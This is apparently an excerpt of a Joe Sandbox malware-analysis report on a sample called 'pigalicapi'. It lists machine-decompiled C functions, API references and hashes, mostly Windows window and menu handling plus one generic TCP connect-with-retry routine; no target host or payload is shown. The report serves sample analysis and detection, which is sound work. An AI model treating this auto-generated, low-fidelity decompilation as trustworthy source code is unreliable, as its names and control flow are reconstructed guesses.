					E008053A0(0x9c46, _t83, 0 |  *((intOrPtr*)(_t64 + 0x504)) -  *((intOrPtr*)(_t64 + 0x508)) > 0x00000000);
					E008053A0(0x9c4b, _t83, 0 |  *((intOrPtr*)(_t64 + 0x504)) -  *((intOrPtr*)(_t64 + 0x50c)) < 0x00000000);
				}
				_push(_t83);
				return E00805580(_t81);
			}

0x00808ab0
0x00808ac2
0x00808ace
0x00808ad2
0x00808ad8
0x00808ad8
0x00808af3
0x00808afe
0x00808b1b
0x00808b3f
0x00808b42
0x00808b4d
0x00808b58
0x00808b76
0x00808b79
0x00808b84
0x00808b8f
0x00808b9a
0x00808bab
0x00808bad
0x00808bc1
0x00808bf0
0x00808c0c
0x00808c0c
0x00808c11
0x00808c19

APIs

SendMessageA.USER32 ref: 00808AC2
SendMessageA.USER32 ref: 00808AF6
SendMessageA.USER32 ref: 00808B13
SendMessageA.USER32 ref: 00808B30
GetWindowTextLengthA.USER32(?), ref: 00808B64
IsWindow.USER32(?), ref: 00808BB9
GetWindowLongA.USER32 ref: 00808BCC

Part of subcall function 00808160: lstrlenA.KERNEL32(?,?,?), ref: 00808182
Part of subcall function 00808160: LoadStringA.USER32 ref: 008081A2
Part of subcall function 00808160: lstrlenA.KERNEL32(?,?,?), ref: 008081AF
Part of subcall function 00808160: lstrcpyA.KERNEL32(?,?,?,?), ref: 008081C4
Part of subcall function 00808160: lstrcatA.KERNEL32(?,00822A2C), ref: 008081DF
Part of subcall function 00808160: lstrcatA.KERNEL32(?, - ), ref: 008081E7
Part of subcall function 00808160: lstrcatA.KERNEL32(?,?,?, - ), ref: 008081F1
Part of subcall function 00808160: SetWindowTextA.USER32(?), ref: 008081F8

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSendWindow$lstrcat$Textlstrlen$LengthLoadLongStringlstrcpy
String ID:
API String ID: 2003012902-0
Opcode ID: faf5da79bd24e407e65f13d3722464441d0495206d7e4f63a32ca896149f7908
Instruction ID: d8149e7967eb11c3f93da869f83969a16a1be9b4b40b4032ba7c71b3c55dcdd5
Opcode Fuzzy Hash: faf5da79bd24e407e65f13d3722464441d0495206d7e4f63a32ca896149f7908
Instruction Fuzzy Hash: C83160717005006BF754AB69CC8AF9B2269EFC5740F95443CBA05EF2D6CAB8A8418E75

Uniqueness

Uniqueness Score: -1.00%

Function 0400A090 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0400A090(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2);
				L0400B210();
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L0400B20A();
					_v34 = 2;
					_push(_a4);
					L0400B204();
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20);
						L0400B1FE();
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20);
							L0400B1F2();
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L0400B1F8();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400A09C
htons.WS2_32(?), ref: 0400A0C0
gethostbyname.WS2_32(?), ref: 0400A0CD
connect.WS2_32(000000FF,?,00000010), ref: 0400A121
closesocket.WS2_32(000000FF), ref: 0400A13E

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction ID: a070b3506782e3d460d1e62e3f028d70face053f71bdd0f6ca274d7f1f380b7b
Opcode Fuzzy Hash: 747257bfaed683e84bc49f1cdc42f1adb0bebd178f9909ce09bf36877d3dd108
Instruction Fuzzy Hash: 65312B70B00319ABEB10EFE4D845BFEB7B5AF98314F108659E5217B2C0E7B5A940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00808070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00808070(void* __esi) {
				signed int _v8;
				void* _v108;
				void* __ebx;
				void* __edi;
				signed int _t16;
				int _t21;
				int _t23;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t36;
				intOrPtr* _t43;
				void* _t45;
				void* _t46;
				signed int _t47;

				_t46 = __esi;
				_t16 =  *0x869060; // 0xda7e2511
				_v8 = _t16 ^ _t47;
				_t45 = wsprintfA;
				wsprintfA( &_v108, "Row: %i",  *((intOrPtr*)(__esi + 0x2a0)) + 1);
				_t33 =  *((intOrPtr*)(__esi + 0x248));
				_t31 = SendMessageA;
				_t21 = 0;
				if(_t33 > 0) {
					_t43 =  *((intOrPtr*)(__esi + 0x24c));
					while( *_t43 != 0xefdb) {
						_t21 = _t21 + 1;
						_t43 = _t43 + 4;
						if(_t21 < _t33) {
							continue;
						} else {
						}
						goto L7;
					}
					if(_t21 != 0xffffffff) {
						SendMessageA( *(_t46 + 0x228), 0x401, _t21,  &_v108);
					}
				}
				L7:
				_t42 =  &_v108;
				wsprintfA( &_v108, "Col: %i",  *((intOrPtr*)(_t46 + 0x2a4)) + 1);
				_t36 =  *((intOrPtr*)(_t46 + 0x248));
				_t23 = 0;
				if(_t36 <= 0) {
					L14:
					return E008159E6(0, _t31, _v8 ^ _t47, _t42, _t45, _t46);
				} else {
					_t42 =  *(_t46 + 0x24c);
					while(_t42->i != 0xefdc) {
						_t23 = _t23 + 1;
						_t42 = _t42 + 4;
						if(_t23 < _t36) {
							continue;
						} else {
							return E008159E6(0, _t31, _v8 ^ _t47, _t42, _t45, _t46);
						}
						goto L15;
					}
					if(_t23 != 0xffffffff) {
						_t42 =  *(_t46 + 0x228);
						SendMessageA( *(_t46 + 0x228), 0x401, _t23,  &_v108);
					}
					goto L14;
				}
				L15:
			}

0x00808070
0x00808076
0x0080807d
0x00808088
0x00808099
0x0080809b
0x008080a1
0x008080aa
0x008080ae
0x008080b0
0x008080b6
0x008080be
0x008080bf
0x008080c4
0x00000000
0x00000000
0x008080c6
0x00000000
0x008080c4
0x008080cb
0x008080de
0x008080de
0x008080cb
0x008080e0
0x008080e8
0x008080f1
0x008080f3
0x008080fc
0x00808100
0x00808142
0x00808153
0x00808102
0x00808102
0x00808108
0x00808110
0x00808111
0x00808116
0x00000000
0x00808119
0x00808129
0x00808129
0x00000000
0x00808116
0x0080812d
0x0080812f
0x00808140
0x00808140
0x00000000
0x0080812d
0x00000000

APIs

wsprintfA.USER32 ref: 00808099
SendMessageA.USER32 ref: 008080DE
wsprintfA.USER32 ref: 008080F1
SendMessageA.USER32 ref: 00808140

Strings

Row: %i, xrefs: 00808093
Col: %i, xrefs: 008080EB

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSendwsprintf
String ID: Col: %i$Row: %i
API String ID: 3751067900-1661183516
Opcode ID: ff4abd85b0cb23097a09d5416ecbac84fa389f9633ea534051fc86124ab2b269
Instruction ID: 515f0e92bcde264afb8133547ce11cff9783583a208264b17e4dc431d7e62205
Opcode Fuzzy Hash: ff4abd85b0cb23097a09d5416ecbac84fa389f9633ea534051fc86124ab2b269
Instruction Fuzzy Hash: C421A131211605DFD768DB68DC85DABB3A9FF84320F104A2DE49AD72D0DE70E886CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0080D220 Relevance: 10.6, APIs: 7, Instructions: 78
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0080D220(void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v12;
				struct tagRECT _v28;
				void* __ebx;
				signed int _t34;
				struct HWND__* _t36;
				int _t37;
				void* _t49;
				void* _t59;
				void* _t60;
				signed int _t61;

				_t60 = __esi;
				_t59 = __edi;
				_t34 =  *0x869060; // 0xda7e2511
				_v12 = _t34 ^ _t61;
				_t36 =  *(__esi + 0x24);
				_t49 = GetWindowLongA;
				if(_t36 != 0 && (GetWindowLongA(_t36, 0xfffffff0) & 0x10000000) != 0) {
					if(_a4 != 0) {
						SendMessageA( *(__esi + 0x24), 5, 0, 0);
						InvalidateRect( *(__esi + 0x24), 0, 0);
					}
					_t56 =  &_v28;
					_v28.left = 0;
					_v28.top = 0;
					_v28.right = 0;
					_v28.bottom = 0;
					GetWindowRect( *(_t60 + 0x24),  &_v28);
					 *((intOrPtr*)(_t59 + 4)) =  *((intOrPtr*)(_t59 + 4)) + _v28.bottom - _v28.top;
				}
				_t37 =  *(_t60 + 0x28);
				if(_t37 != 0 && (_t37 & 0x10000000) != 0) {
					if(_a4 != 0) {
						SendMessageA( *(_t60 + 0x28), 5, 0, 0);
					}
					_v28.top = 0;
					_v28.right = 0;
					_v28.bottom = 0;
					_v28.left = 0;
					_t37 = GetWindowRect( *(_t60 + 0x28),  &_v28);
					_t56 = _v28.top - _v28.bottom;
					 *((intOrPtr*)(_t59 + 0xc)) =  *((intOrPtr*)(_t59 + 0xc)) + _v28.top - _v28.bottom;
				}
				return E008159E6(_t37, _t49, _v12 ^ _t61, _t56, _t59, _t60);
			}

0x0080d220
0x0080d220
0x0080d226
0x0080d22d
0x0080d230
0x0080d234
0x0080d23c
0x0080d24e
0x0080d25a
0x0080d268
0x0080d268
0x0080d270
0x0080d273
0x0080d276
0x0080d279
0x0080d27c
0x0080d284
0x0080d290
0x0080d290
0x0080d293
0x0080d298
0x0080d2aa
0x0080d2b6
0x0080d2b6
0x0080d2c1
0x0080d2c4
0x0080d2c7
0x0080d2cf
0x0080d2d6
0x0080d2df
0x0080d2e2
0x0080d2e2
0x0080d2f3

APIs

GetWindowLongA.USER32 ref: 0080D241
SendMessageA.USER32 ref: 0080D25A
InvalidateRect.USER32(?,00000000,00000000), ref: 0080D268
GetWindowRect.USER32 ref: 0080D284
GetWindowLongA.USER32 ref: 0080D29D
SendMessageA.USER32 ref: 0080D2B6
GetWindowRect.USER32 ref: 0080D2D6

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Window$Rect$LongMessageSend$Invalidate
String ID:
API String ID: 1214947677-0
Opcode ID: cc99c6177c07af1afe0b20bc9c0369b178353f3695bb4012ad8cd3f33c372fb7
Instruction ID: efa20f9d3fdfc43b53018265221e14d2d7e2c02ca4b853211631be2c0a2efd0b
Opcode Fuzzy Hash: cc99c6177c07af1afe0b20bc9c0369b178353f3695bb4012ad8cd3f33c372fb7
Instruction Fuzzy Hash: 7731DB70A00705ABDB60DFA9DC89BAEB7F4FB48710F108619A519E7290DB74F940CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00810147 Relevance: 10.6, APIs: 7, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00810147() {
				void* __edi;
				void* __esi;
				signed char _t83;
				int _t90;
				void* _t106;
				void* _t107;
				signed char _t110;
				void* _t118;
				struct HWND__* _t134;
				void* _t135;
				void* _t136;
				int _t137;
				struct HMENU__* _t138;
				void* _t139;
				void* _t140;
				CHAR* _t141;
				signed int _t142;
				void* _t145;

				do {
					 *(_t142 - 0xe4) = 0;
					 *(_t142 - 0xe0) = 0;
					 *(_t142 - 0xdc) = 0;
					 *((intOrPtr*)(_t142 - 0xd8)) = 0;
					 *((intOrPtr*)(_t142 - 0xd4)) = 0;
					SendMessageA(_t134, 0x417, _t137, _t142 - 0xe4);
					if(( *(_t142 - 0xdc) & 0x00000008) == 0) {
						 *(_t142 - 0xf4) = 0;
						 *((intOrPtr*)(_t142 - 0xf0)) = 0;
						 *(_t142 - 0xec) = 0;
						 *((intOrPtr*)(_t142 - 0xe8)) = 0;
						SendMessageA(_t134, 0x41d, _t137, _t142 - 0xf4);
						_t83 =  *(_t142 - 0xdc);
						_t127 =  *(_t142 - 0xec);
						_t110 = _t83 >> 0x00000002 & 0x00000001;
						if( *(_t142 - 0xec) >  *((intOrPtr*)(_t142 - 0xfc))) {
							if((_t83 & 0x00000001) == 0) {
								_push(0xc7);
								_push(0);
								 *(_t142 - 0xd0) = 0;
								_push(_t142 - 0xcf);
								if(( *(_t142 - 0x110))[2] == 0) {
									E00816820();
									_t145 = _t145 + 0xc;
									 *((intOrPtr*)(_t142 - 0x134)) = 0;
									 *(_t142 - 0x120) = 0;
									 *(_t142 - 0x11c) = 0;
									 *((intOrPtr*)(_t142 - 0x130)) = 0;
									 *((intOrPtr*)(_t142 - 0x12c)) = 0;
									 *((intOrPtr*)(_t142 - 0x128)) = 0;
									 *((intOrPtr*)(_t142 - 0x124)) = 0;
									_t141 = _t142 - 0xd0;
									 *(_t142 - 0x138) = 0x20;
									 *((intOrPtr*)(_t142 - 0x134)) = 2;
									 *(_t142 - 0x120) = _t141;
									 *(_t142 - 0x11c) = 0xc8;
									if(SendMessageA(_t134, 0x441,  *(_t142 - 0xe0), _t142 - 0x138) == 0xffffffff || lstrlenA(_t141) == 0) {
										_t141 = 0x82293e;
										_t90 = LoadStringA( *0x880c0c,  *(_t142 - 0xe0), _t142 - 0xd0, 0xc8);
										_t118 = 0;
										if(_t90 > 0) {
											while( *((char*)(_t142 + _t118 - 0xd0)) != 0xa) {
												_t118 = _t118 + 1;
												if(_t118 < _t90) {
													continue;
												} else {
												}
												goto L18;
											}
											_t141 = _t142 + _t118 - 0xcf;
										}
									}
									L18:
									_t127 =  *(_t142 - 0xe0);
									AppendMenuA( *(_t142 - 0x108), 0 | _t110 == 0x00000000,  *(_t142 - 0xe0), _t141);
									_t137 =  *(_t142 - 0x10c);
								} else {
									E00816820();
									E00816820(_t142 - 0x168, 0, 0x30);
									_t145 = _t145 + 0x18;
									 *(_t142 - 0x168) = 0x30;
									if(E00804890(_t110, _t134, _t137) != 0) {
										 *(_t142 - 0x168) = 0x2c;
									}
									 *((intOrPtr*)(_t142 - 0x164)) = 0x14;
									 *(_t142 - 0x144) = _t142 - 0xd0;
									 *(_t142 - 0x140) = 0xc8;
									GetMenuItemInfoA( *(_t142 - 0x118), _t137, 1, _t142 - 0x168);
									_t127 =  *(_t142 - 0x108);
									AppendMenuA( *(_t142 - 0x108), 0 | _t110 == 0x00000000 | 0x00000010,  *(_t142 - 0x154),  *(_t142 - 0x144));
								}
							} else {
								if(GetMenuItemCount( *(_t142 - 0x108)) > 0) {
									AppendMenuA( *(_t142 - 0x108), 0x800, 0, 0);
								}
							}
						}
					}
					_t137 = _t137 + 1;
					 *(_t142 - 0x10c) = _t137;
				} while (_t137 <  *((intOrPtr*)(_t142 - 0x114)));
				_t138 =  *(_t142 - 0x108);
				if(GetMenuItemCount(_t138) != 0) {
					_pop(_t135);
					 *( *(_t142 - 0x110)) = _t138;
					_pop(_t139);
					_pop(_t106);
					return E008159E6(1, _t106,  *(_t142 - 4) ^ _t142,  *(_t142 - 0x110), _t135, _t139);
				} else {
					if(_t138 != 0) {
						DestroyMenu(_t138);
					}
					MessageBeep(0xffffffff);
					_pop(_t136);
					_pop(_t140);
					_pop(_t107);
					return E008159E6(0, _t107,  *(_t142 - 4) ^ _t142, _t127, _t136, _t140);
				}
			}

0x00810150
0x00810158
0x0081015e
0x00810164
0x0081016a
0x00810170
0x00810184
0x0081018d
0x008101a3
0x008101a9
0x008101af
0x008101b5
0x008101bb
0x008101bd
0x008101c3
0x008101ce
0x008101d7
0x008101e0
0x0081021c
0x00810227
0x00810229
0x00810230
0x00810231
0x008102ce
0x008102d5
0x008102d8
0x008102de
0x008102e4
0x008102f1
0x008102f7
0x008102fd
0x00810303
0x00810310
0x0081031e
0x00810328
0x00810332
0x00810338
0x0081034b
0x00810374
0x00810379
0x0081037f
0x00810383
0x00810385
0x0081038f
0x00810392
0x00000000
0x00000000
0x00810394
0x00000000
0x00810392
0x00810396
0x00810396
0x00810383
0x0081039d
0x0081039d
0x008103b4
0x008103ba
0x00810237
0x00810237
0x00810247
0x0081024c
0x0081024f
0x00810260
0x00810262
0x00810262
0x00810283
0x0081028d
0x00810293
0x0081029d
0x008102b7
0x008102c3
0x008102c3
0x008101e2
0x008101f1
0x00810207
0x00810207
0x008101f1
0x008101e0
0x008101d7
0x008103c0
0x008103c1
0x008103c7
0x008103d3
0x008103e2
0x00810413
0x00810414
0x00810416
0x0081041b
0x00810424
0x008103e4
0x008103e6
0x008103e9
0x008103e9
0x008103f1
0x008103f9
0x008103fa
0x008103fb
0x00810409
0x00810409

APIs

SendMessageA.USER32 ref: 00810184
SendMessageA.USER32 ref: 008101BB
GetMenuItemCount.USER32 ref: 008101E9
AppendMenuA.USER32 ref: 00810207
_memset.LIBCMT ref: 00810237
_memset.LIBCMT ref: 00810247
GetMenuItemInfoA.USER32 ref: 0081029D
AppendMenuA.USER32 ref: 008102C3
GetMenuItemCount.USER32 ref: 008103DA
DestroyMenu.USER32(?,?,00000000), ref: 008103E9
MessageBeep.USER32(000000FF), ref: 008103F1

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Menu$ItemMessage$AppendCountSend_memset$BeepDestroyInfo
String ID:
API String ID: 2301784159-0
Opcode ID: 40ca3b0144595aa0b02633f6924d93662cffc0ebe0da8e244e08d0fa5915a408
Instruction ID: e7e6ace0be2a5e5072f2c9e530b63c879bf4062f9515b50c8e785eba18b5e6a1
Opcode Fuzzy Hash: 40ca3b0144595aa0b02633f6924d93662cffc0ebe0da8e244e08d0fa5915a408
Instruction Fuzzy Hash: 16212C71E412699FDB60CB64CD45BDEB7B8FF19700F1081DAA54DF6241D6B05AC18F60

Uniqueness

Uniqueness Score: -1.00%

Function 00810149 Relevance: 10.6, APIs: 7, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00810149() {
				void* __edi;
				void* __esi;
				signed char _t83;
				int _t90;
				void* _t106;
				void* _t107;
				signed char _t110;
				void* _t118;
				struct HWND__* _t134;
				void* _t135;
				void* _t136;
				int _t137;
				int _t138;
				struct HMENU__* _t139;
				void* _t140;
				void* _t141;
				CHAR* _t142;
				signed int _t143;

				do {
					 *(_t143 - 0xe4) = 0;
					 *(_t143 - 0xe0) = 0;
					 *(_t143 - 0xdc) = 0;
					 *((intOrPtr*)(_t143 - 0xd8)) = 0;
					 *((intOrPtr*)(_t143 - 0xd4)) = 0;
					SendMessageA(_t134, 0x417, _t137, _t143 - 0xe4);
					if(( *(_t143 - 0xdc) & 0x00000008) == 0) {
						 *(_t143 - 0xf4) = 0;
						 *((intOrPtr*)(_t143 - 0xf0)) = 0;
						 *(_t143 - 0xec) = 0;
						 *((intOrPtr*)(_t143 - 0xe8)) = 0;
						SendMessageA(_t134, 0x41d, _t137, _t143 - 0xf4);
						_t83 =  *(_t143 - 0xdc);
						_t127 =  *(_t143 - 0xec);
						_t110 = _t83 >> 0x00000002 & 0x00000001;
						if( *(_t143 - 0xec) >  *((intOrPtr*)(_t143 - 0xfc))) {
							if((_t83 & 0x00000001) == 0) {
								_push(0xc7);
								_push(0);
								 *(_t143 - 0xd0) = 0;
								_push(_t143 - 0xcf);
								if(( *(_t143 - 0x110))[2] == 0) {
									E00816820();
									 *((intOrPtr*)(_t143 - 0x134)) = 0;
									 *(_t143 - 0x120) = 0;
									 *(_t143 - 0x11c) = 0;
									 *((intOrPtr*)(_t143 - 0x130)) = 0;
									 *((intOrPtr*)(_t143 - 0x12c)) = 0;
									 *((intOrPtr*)(_t143 - 0x128)) = 0;
									 *((intOrPtr*)(_t143 - 0x124)) = 0;
									_t142 = _t143 - 0xd0;
									 *(_t143 - 0x138) = 0x20;
									 *((intOrPtr*)(_t143 - 0x134)) = 2;
									 *(_t143 - 0x120) = _t142;
									 *(_t143 - 0x11c) = 0xc8;
									if(SendMessageA(_t134, 0x441,  *(_t143 - 0xe0), _t143 - 0x138) == 0xffffffff || lstrlenA(_t142) == 0) {
										_t142 = 0x82293e;
										_t90 = LoadStringA( *0x880c0c,  *(_t143 - 0xe0), _t143 - 0xd0, 0xc8);
										_t118 = 0;
										if(_t90 > 0) {
											while( *((char*)(_t143 + _t118 - 0xd0)) != 0xa) {
												_t118 = _t118 + 1;
												if(_t118 < _t90) {
													continue;
												} else {
												}
												goto L18;
											}
											_t142 = _t143 + _t118 - 0xcf;
										}
									}
									L18:
									_t127 =  *(_t143 - 0xe0);
									AppendMenuA( *(_t143 - 0x108), 0 | _t110 == 0x00000000,  *(_t143 - 0xe0), _t142);
									_t137 =  *(_t143 - 0x10c);
								} else {
									E00816820();
									E00816820(_t143 - 0x168, 0, 0x30);
									 *(_t143 - 0x168) = 0x30;
									if(E00804890(_t110, _t134, _t137) != 0) {
										 *(_t143 - 0x168) = 0x2c;
									}
									 *((intOrPtr*)(_t143 - 0x164)) = 0x14;
									 *(_t143 - 0x144) = _t143 - 0xd0;
									 *(_t143 - 0x140) = 0xc8;
									GetMenuItemInfoA( *(_t143 - 0x118), _t137, 1, _t143 - 0x168);
									_t127 =  *(_t143 - 0x108);
									AppendMenuA( *(_t143 - 0x108), 0 | _t110 == 0x00000000 | 0x00000010,  *(_t143 - 0x154),  *(_t143 - 0x144));
								}
							} else {
								if(GetMenuItemCount( *(_t143 - 0x108)) > 0) {
									AppendMenuA( *(_t143 - 0x108), 0x800, 0, 0);
								}
							}
						}
					}
					_t138 = _t137 + 1;
					 *(_t143 - 0x10c) = _t138;
				} while (_t138 <  *((intOrPtr*)(_t143 - 0x114)));
				_t139 =  *(_t143 - 0x108);
				if(GetMenuItemCount(_t139) != 0) {
					_pop(_t135);
					 *( *(_t143 - 0x110)) = _t139;
					_pop(_t140);
					_pop(_t106);
					return E008159E6(1, _t106,  *(_t143 - 4) ^ _t143,  *(_t143 - 0x110), _t135, _t140);
				} else {
					if(_t139 != 0) {
						DestroyMenu(_t139);
					}
					MessageBeep(0xffffffff);
					_pop(_t136);
					_pop(_t141);
					_pop(_t107);
					return E008159E6(0, _t107,  *(_t143 - 4) ^ _t143, _t127, _t136, _t141);
				}
			}

0x00810150
0x00810158
0x0081015e
0x00810164
0x0081016a
0x00810170
0x00810184
0x0081018d
0x008101a3
0x008101a9
0x008101af
0x008101b5
0x008101bb
0x008101bd
0x008101c3
0x008101ce
0x008101d7
0x008101e0
0x0081021c
0x00810227
0x00810229
0x00810230
0x00810231
0x008102ce
0x008102d8
0x008102de
0x008102e4
0x008102f1
0x008102f7
0x008102fd
0x00810303
0x00810310
0x0081031e
0x00810328
0x00810332
0x00810338
0x0081034b
0x00810374
0x00810379
0x0081037f
0x00810383
0x00810385
0x0081038f
0x00810392
0x00000000
0x00000000
0x00810394
0x00000000
0x00810392
0x00810396
0x00810396
0x00810383
0x0081039d
0x0081039d
0x008103b4
0x008103ba
0x00810237
0x00810237
0x00810247
0x0081024f
0x00810260
0x00810262
0x00810262
0x00810283
0x0081028d
0x00810293
0x0081029d
0x008102b7
0x008102c3
0x008102c3
0x008101e2
0x008101f1
0x00810207
0x00810207
0x008101f1
0x008101e0
0x008101d7
0x008103c0
0x008103c1
0x008103c7
0x008103d3
0x008103e2
0x00810413
0x00810414
0x00810416
0x0081041b
0x00810424
0x008103e4
0x008103e6
0x008103e9
0x008103e9
0x008103f1
0x008103f9
0x008103fa
0x008103fb
0x00810409
0x00810409

APIs

SendMessageA.USER32 ref: 00810184
SendMessageA.USER32 ref: 008101BB
GetMenuItemCount.USER32 ref: 008101E9
AppendMenuA.USER32 ref: 00810207
_memset.LIBCMT ref: 00810237
_memset.LIBCMT ref: 00810247
GetMenuItemInfoA.USER32 ref: 0081029D
AppendMenuA.USER32 ref: 008102C3
GetMenuItemCount.USER32 ref: 008103DA
DestroyMenu.USER32(?,?,00000000), ref: 008103E9
MessageBeep.USER32(000000FF), ref: 008103F1

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Menu$ItemMessage$AppendCountSend_memset$BeepDestroyInfo
String ID:
API String ID: 2301784159-0
Opcode ID: f6a6301fd8c3eb397ecef9129513420b515eb37fa384b2f4a62edc5a474d12fc
Instruction ID: 269e39dc9aabfc3611c634435df18d7b205bd1601debabf2e0dc6fd63166b1c0
Opcode Fuzzy Hash: f6a6301fd8c3eb397ecef9129513420b515eb37fa384b2f4a62edc5a474d12fc
